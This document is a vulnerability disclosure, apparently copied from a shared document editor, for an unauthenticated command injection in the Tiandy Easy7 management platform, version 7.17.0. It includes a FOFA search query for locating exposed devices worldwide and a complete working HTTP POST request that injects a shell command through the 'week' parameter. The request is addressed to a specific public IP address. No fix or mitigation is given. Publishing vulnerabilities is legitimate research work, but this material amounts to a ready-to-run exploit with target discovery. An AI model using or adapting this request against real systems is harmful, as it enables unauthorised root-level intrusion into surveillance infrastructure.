[★]Tiandi Weiye Technology Co., Ltd. - Tiandi Weiye Easy7 System Command Execution Vulnerability
输入“/”快速插入内容
[★]Tiandi Weiye Technology Co., Ltd. - Tiandi Weiye Easy7 System Command Execution Vulnerability
[★]Tiandi Weiye Technology Co., Ltd. - Tiandi Weiye Easy7 System Command Execution Vulnerability
5月22日修改
Company：Tiandy Technologies Co., Ltd.
official website: https://www.tiandy.com
product: https://www.tiandy.com/fwzc/zxzsk/kz/spjkpt/
Affected version: 7.17.0
Vulnerability Type: Command Injection (CWE-77 / CWE-78)
Attack Vector: Network (Remote)
漏洞描述 (Description)：
There is a critical remote command execution (RCE) vulnerability in the updateDbBackupInfo interface. An unauthenticated remote attacker can execute arbitrary commands via the week parameter. Successful exploitation of this vulnerability would enable the attacker to execute arbitrary commands with administrator privileges (such as root privileges), thereby posing a threat to the entire system.
Impact Score (CVSS v3.1):
◦
Attack Vector (AV): Network (只要能联网就能打)
◦
Attack Complexity (AC): Low (无需特殊条件)
◦
Privileges Required (PR): None (未授权)
◦
User Interaction (UI): None (无需管理员点链接)
◦
Scope (S): Changed
◦
Confidentiality (C): High
◦
Integrity (I): High
◦
Availability (A): High
Vulnerability POC
Investigation confirms that this vulnerability widely affects the Tiandy Easy7 Integrated Management Platform. Attackers can easily identify a vast number of globally exposed targets via cyberspace mapping tools like FOFA, using the search query: app="Tiandy-Easy7".
代码块
POST /Easy7/rest/systemInfo/updateDbBackupInfo HTTP/1.1
Host: 39.150.129.199:7000
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 93
maxFileNum=1&intervalHour=1&minute=1&getIntervalHour=24&hour=1&week=1;id>/root/srsPath/id.txt
Fill in the payload in the parameter week and write the execution result to the root/srsPath directory